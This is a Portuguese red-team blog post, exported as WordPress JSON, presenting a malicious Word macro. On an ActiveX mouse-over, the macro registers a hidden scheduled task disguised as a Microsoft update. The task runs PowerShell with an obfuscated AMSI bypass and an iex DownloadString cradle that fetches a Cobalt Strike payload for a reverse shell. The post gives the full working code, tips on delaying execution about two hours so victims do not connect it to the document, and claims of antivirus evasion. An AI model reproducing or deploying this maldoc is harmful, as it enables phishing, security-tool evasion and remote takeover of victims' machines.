{"id":845,"date":"2023-02-27T15:19:11","date_gmt":"2023-02-27T18:19:11","guid":{"rendered":"https:\/\/blog.intruderlabs.com.br\/?p=845"},"modified":"2023-03-07T15:45:35","modified_gmt":"2023-03-07T18:45:35","slug":"maldoc-macro-para-scheduler","status":"publish","type":"post","link":"https:\/\/blog.intruderlabs.com.br\/en\/maldoc-macro-para-scheduler\/","title":{"rendered":"Maldoc &#8211; Macro para Scheduler"},"content":{"rendered":"<h2 class=\"wp-block-heading\">Documentos Maliciosos<\/h2>\n\n\n\n<p>| Como esse \u00e9 o primeiro post falando sobre documentos maliciosos, vou descorrer um pouco mais.<\/p>\n\n\n\n<p>A ideia de cria\u00e7\u00e3o de um documento malicioso (maldoc) come\u00e7ou a tomar conta de minha cabe\u00e7a depois de um engajamento de Red Team onde n\u00e3o tive sucesso. N\u00e3o conseguimos encontrar vulnerabilidades externas em tempo h\u00e1bil e a \u00fanica alternativa era tentar por outros meios.<\/p>\n\n\n\n<p>Por e-mail consegui contato com uma pessoa do RH da empresa. Estava tudo encaminhado para ela abrir um arquivo que eu enviasse &#8211; tudo exceto o fato de eu n\u00e3o ter nenhum arquivo que fosse \u201cmalicioso\u201d (no contexto malicioso se refere a um arquivo que me retornasse um shell reverso) mas ao mesmo tempo indetect\u00e1vel pelo antivirus.<\/p>\n\n\n\n<p>Finalmente, n\u00e3o conseguimos dominar essa t\u00e9cnica a tempo, o per\u00edodo de teste terminou e basicamente entregamos um relat\u00f3rio de Pentest + VA do ambiente externo. #vergonha<\/p>\n\n\n\n<p>Desse dia em diante me dediquei a conhecer artefatos maliciosos que eram usados na selva (internet). Estudei bastante material dispon\u00edvel internet a fora e labutei com bypass do AMSI para executar comandos maliciosos no powershell. Encontrei no treinamento de \u201cAn\u00e1lise de Documentos Maliciosos\u201d ministrado por Alexandre Borges da Blackstorm Security (curso em pt_BR) muito conhecimento sobre como os artefatos eram constru\u00eddos por atacantes reais. Al\u00e9m de muita, MUITA, conversa com outras pessoas que tinham algum conhecimento do tema.<\/p>\n\n\n\n<p>Ap\u00f3s muito pesquisar e bater cabe\u00e7a cheguei (ontem) a um artefato que bypassou completamente o Windows Defender + AMSI e me deu um shell reverso (estou usando o cobalt strike).<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">O Artefato<\/h3>\n\n\n\n<p>Chega de hist\u00f3ria, vamos ao maldoc de fato. O artefato abaixo \u00e9 basicamente uma macro do Word que, ao ser executado, cria uma tarefa no agendador de tarefas do windows e, depois de um tempo determinado (no exemplo est\u00e1 5 segundos), a tarefa \u00e9 executada.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Sub a()\n\n    Set service = CreateObject(\"Schedule.Service\")\n    Call service.Connect\n    Dim td: Set td = service.NewTask(0)\n    td.RegistrationInfo.Author = \"Microsoft Corporation\"\n    td.settings.StartWhenAvailable = True\n    td.settings.Hidden = True\n    td.settings.WakeToRun = True\n    Dim triggers: Set triggers = td.triggers\n    Dim trigger: Set trigger = triggers.Create(1)\n    Dim startTime: ts = DateAdd(\"s\", 5, Now)\n    startTime = Year(ts) &amp; \"-\" &amp; Right(Month(ts), 2) &amp; \"-\" &amp; Right(Day(ts), 2) &amp; \"T\" &amp; Right(Hour(ts), 2) &amp; \":\" &amp; Right(Minute(ts), 2) &amp; \":\" &amp; Right(Second(ts), 2)\n    trigger.StartBoundary = startTime\n    trigger.ID = \"TimeTriggerId\"\n    Dim Action: Set Action = td.Actions.Create(0)\n    Action.Path = \"powershell.exe\"\n    Action.Arguments = \"&#91;console]::WindowRight=0; &#91;console]::WindowWidth=1; &#91;console]::WindowHeight=1; &#91;console]::BufferWidth=&#91;console]::WindowWidth; -nologo -windowstyle Hidden &#91;Runtime.InteropServices.Marshal]::WriteInt32(&#91;Ref].Assembly.GetType('System.Management.Automation.'+$(&#91;chAR](&#91;bytE]0x41)+&#91;ChAR](&#91;byte]0x6D)+&#91;CHAR](121-6)+&#91;cHar](159-54))+'Utils').GetField(''+$(&#91;CHar](&#91;byTE]0x61)+&#91;cHar](3379\/31)+&#91;chAr](119-4)+&#91;CHar](2415\/23))+'Context',&#91;Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x2F0F6961);iex(New-Object Net.WebClient).DownloadString('&lt;URL\/\/Para\/o\/Payload\/Malicioso&gt;')\"\n    Call service.GetFolder(\"\\\").RegisterTaskDefinition(\"UpdateTask\", td, 6, , , 3)\n\nEnd Sub\n\nPrivate Sub Image1_Click()\na\nEnd Sub\n\nPrivate Sub Image1_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)\na\nEnd Sub\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Considera\u00e7\u00f5es<\/h2>\n\n\n\n<p><strong>1.<\/strong>&nbsp;N\u00e3o uso a fun\u00e7\u00e3o Auto_Open() do documento. Ao inv\u00e9s disso criei uma fun\u00e7\u00e3o&nbsp;<strong>a()<\/strong>&nbsp;que \u00e9&nbsp;<em>trigada<\/em>&nbsp;ap\u00f3s uma a\u00e7\u00e3o do usu\u00e1rio.<\/p>\n\n\n\n<p><strong>2.<\/strong>&nbsp;Uso um controle ActiveX que ser\u00e1 usado para&nbsp;<em>trigar<\/em>&nbsp;a fun\u00e7ao&nbsp;<strong>a()<\/strong>. Para incluir o controle ActiveX no documento fiz o seguinte:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-src=\"https:\/\/alacerda.github.io\/assets\/img\/office_desenvolvedor_activeX_image.png\" alt=\"Controle ActiveX\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\" \/><\/figure>\n\n\n\n<p><strong>3.<\/strong>&nbsp;Perceba que a macro cont\u00e9m a fun\u00e7\u00e3o&nbsp;<strong>Image1_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)<\/strong>. Ela \u00e9 a respons\u00e1vel por capturar o evento gerando quando o mouse passa por cima do controle ActiveX.<\/p>\n\n\n\n<p><strong>4.<\/strong>&nbsp;Ao passar o mouse por cima do controle ActiveX a fun\u00e7\u00e3o&nbsp;<strong>a()<\/strong>&nbsp;ser\u00e1 invocada. \u00c9 assim que a macro maliciosa entra em a\u00e7\u00e3o.<\/p>\n\n\n\n<p>\u00c9 importante lembrar que ainda assim o usu\u00e1rio precisar\u00e1 primeiro clicar em \u201cHabilitar Conte\u00fado\u201d para dar ao documento a permiss\u00e3o de executar a macro.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Ajustes Importantes<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1) Momento da Execu\u00e7\u00e3o<\/h3>\n\n\n\n<p>Quando for usar esse artefato, seria interessante ajustar alguns par\u00e2metros no mesmo. Por exemplo, a linha:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Dim startTime: ts = DateAdd(\"s\", 5, Now)<\/code><\/pre>\n\n\n\n<p>\u00c9 respons\u00e1vel por defir ap\u00f3s quanto tempo depois de criada a tareda deve ser executada. Esse par\u00e2metro est\u00e1 definido para 5 segundos (por que estou usando em laborat\u00f3rio e n\u00e3o quero esperar muito tempo para executar a tarefa). Em um engajamento real, seria interessante definir um tempo maior &#8211; tempo suficiente para a pessoa \u201cesquecer\u201d que abriu um documento potencialmente malicioso.<\/p>\n\n\n\n<p>Eu considero algo em torno de 2 horas um tempo interessante por que em 2 horas a pessoa j\u00e1 ter\u00e1 executado v\u00e1rias outras atividades, talvez ter\u00e1 aberto v\u00e1rios outros arquivos e ser\u00e1 dif\u00edcil fazer a correla\u00e7\u00e3o com a tarefa maliciosa (caso de alguma maneira ela perceba a execu\u00e7\u00e3o da mesma).<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2) Visibilidade ao Executar<\/h3>\n\n\n\n<p>J\u00e1 dediquei uma quantidade razo\u00e1vel de tempo para tornar a execu\u00e7\u00e3o da tarefa invis\u00edvel para o usu\u00e1rio. Mas at\u00e9 o momento, quando a tarefa vai ser executada, uma tela do powershell abre e fecha rapidamente na tela do usu\u00e1rio. Essa \u00e9 a parte do c\u00f3digo onde estou lutando para tentar esconder a a\u00e7\u00e3o:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;console]::WindowRight=0; &#91;console]::WindowWidth=1; &#91;console]::WindowHeight=1; &#91;console]::BufferWidth=&#91;console]::WindowWidth; -nologo -windowstyle Hidden\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">3) Bypass do AMSI<\/h3>\n\n\n\n<p>Esse t\u00f3pico com certeza ter\u00e1 um post s\u00f3 para ele em breve. Mas nesse maldoc, estou usando uma t\u00e9cnica de bypass para evitar que o powershell bloqueie o comando onde fa\u00e7o o download do payload do cobalt strike. Essa \u00e9 aparte do c\u00f3digo onde fa\u00e7o o bypass do AMSI:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;Runtime.InteropServices.Marshal]::WriteInt32(&#91;Ref].Assembly.GetType('System.Management.Automation.'+$(&#91;chAR](&#91;bytE]0x41)+&#91;ChAR](&#91;byte]0x6D)+&#91;CHAR](121-6)+&#91;cHar](159-54))+'Utils').GetField(''+$(&#91;CHar](&#91;byTE]0x61)+&#91;cHar](3379\/31)+&#91;chAr](119-4)+&#91;CHar](2415\/23))+'Context',&#91;Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x2F0F6961);<\/code><\/pre>\n\n\n\n<p>Quando a linha acima \u00e9 inserida no powershell, os comandos que seriam marcados como maliciosos pelo antivirus j\u00e1 n\u00e3o ser\u00e3o mais identificados assim. Por isso podemos usar o comando cl\u00e1ssico de fazer download e executar um script powershell malicioso:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>iex(New-Object Net.WebClient).DownloadString('&lt;URL\/\/Para\/o\/Payload\/Malicioso&gt;')\n<\/code><\/pre>\n\n\n\n<p>Quando a tarefa agendada executar esse comando, o shell reverso dever\u00e1 ser entregue ao atacante. Resultado do scan feito por alguns antivirus:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img fetchpriority=\"high\" decoding=\"async\" width=\"927\" height=\"616\" src=\"http:\/\/blog.intruderlabs.com.br\/wp-content\/uploads\/2023\/02\/image.png\" alt=\"\" class=\"wp-image-874\" srcset=\"https:\/\/blog.intruderlabs.com.br\/wp-content\/uploads\/2023\/02\/image.png 927w, https:\/\/blog.intruderlabs.com.br\/wp-content\/uploads\/2023\/02\/image-300x199.png 300w, https:\/\/blog.intruderlabs.com.br\/wp-content\/uploads\/2023\/02\/image-768x510.png 768w, https:\/\/blog.intruderlabs.com.br\/wp-content\/uploads\/2023\/02\/image-18x12.png 18w\" sizes=\"(max-width: 927px) 100vw, 927px\" \/><\/figure>","protected":false},"excerpt":{"rendered":"<p>Documentos Maliciosos | Como esse \u00e9 o primeiro post falando sobre documentos maliciosos, vou descorrer um pouco mais. A ideia de cria\u00e7\u00e3o de um documento malicioso (maldoc) come\u00e7ou a tomar conta de minha cabe\u00e7a depois de um engajamento de Red Team onde n\u00e3o tive sucesso. N\u00e3o conseguimos encontrar vulnerabilidades externas em tempo h\u00e1bil e a [&hellip;]<\/p>","protected":false},"author":4,"featured_media":976,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-845","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sem-categoria"],"_links":{"self":[{"href":"https:\/\/blog.intruderlabs.com.br\/en\/wp-json\/wp\/v2\/posts\/845","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.intruderlabs.com.br\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.intruderlabs.com.br\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.intruderlabs.com.br\/en\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.intruderlabs.com.br\/en\/wp-json\/wp\/v2\/comments?post=845"}],"version-history":[{"count":2,"href":"https:\/\/blog.intruderlabs.com.br\/en\/wp-json\/wp\/v2\/posts\/845\/revisions"}],"predecessor-version":[{"id":977,"href":"https:\/\/blog.intruderlabs.com.br\/en\/wp-json\/wp\/v2\/posts\/845\/revisions\/977"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.intruderlabs.com.br\/en\/wp-json\/wp\/v2\/media\/976"}],"wp:attachment":[{"href":"https:\/\/blog.intruderlabs.com.br\/en\/wp-json\/wp\/v2\/media?parent=845"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.intruderlabs.com.br\/en\/wp-json\/wp\/v2\/categories?post=845"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.intruderlabs.com.br\/en\/wp-json\/wp\/v2\/tags?post=845"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}